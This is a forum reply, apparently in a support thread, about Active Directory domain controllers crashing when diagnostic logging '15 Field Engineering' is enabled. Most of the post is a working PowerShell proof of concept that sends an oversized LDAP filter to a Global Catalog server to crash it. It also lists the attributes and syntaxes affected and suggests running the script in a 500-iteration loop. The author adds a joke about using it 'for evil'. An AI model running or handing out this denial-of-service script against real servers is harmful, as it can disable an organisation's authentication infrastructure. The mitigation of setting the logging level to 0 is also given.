tag @keymax147
Hi KeyMax147-9529,
It sounds like it could be related to the issue. However, MS says it's not. They won't confirm if it even has a CVE.
Setting "15 Field Engineering" to 0 stops the problem but does leave you without 1644 events. If you are a large organization, this sucks. If you want to test in your own lab, here you go. It's pretty simple once you know the problem. Don't use this script for evil unless someone really deserves it ;)
$lDAPServer = "myservername.mydomain.tld:3268"
$attribute = "legacyExchangeDN"
$padding = "Nullam non nisi est sit amet."
$lDAPSearchClause = "Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua."
$strBuilder = [System.Text.StringBuilder]::new()
# 2016 itterations + padding.
for($i=0;$i -lt 2016 ;$i++){
[void]$strBuilder.Append($($lDAPSearchClause))
}
$lDAPFilter = $("({0}={1}{2})" -f $attribute,$padding,$strBuilder.ToString())
Write-Host $attribute -ForegroundColor Yellow
Write-Host $("Will Crash at ~ 247,883. Filter Length: {0}" -f ([System.Text.Encoding]::UTF8.GetByteCount($lDAPFilter))) -ForegroundColor Green
Get-ADObject -Server $lDAPServer -LDAPFilter $lDAPFilter -SearchBase "" -SearchScope Subtree -Properties samaccountname
<#
Note: IF you have not been running "15 Field Engineering" at 5 or have set back to 0 to prevent denial of service,
it may take some time for your DC to get into a state where this occurs. THe above script should work right away.
Change the string builder iterations from 2016 to make the filter larger or smaller.
Additional testing: loop through confirmed attribute list below and/or wrap the entire script in it's own 500 count for loop.
Affects attributes with:
oMSyntax 20 and 127
attributeSyntax 2.5.5.4 and 2.5.5.1
attribute must also be published in GC:
(isMemberOfPartialAttributeSet=TRUE)
Confirmed attributes:
legacyExchangeDN
mSSMSCapabilities
mSMQLabel
member
objectCategory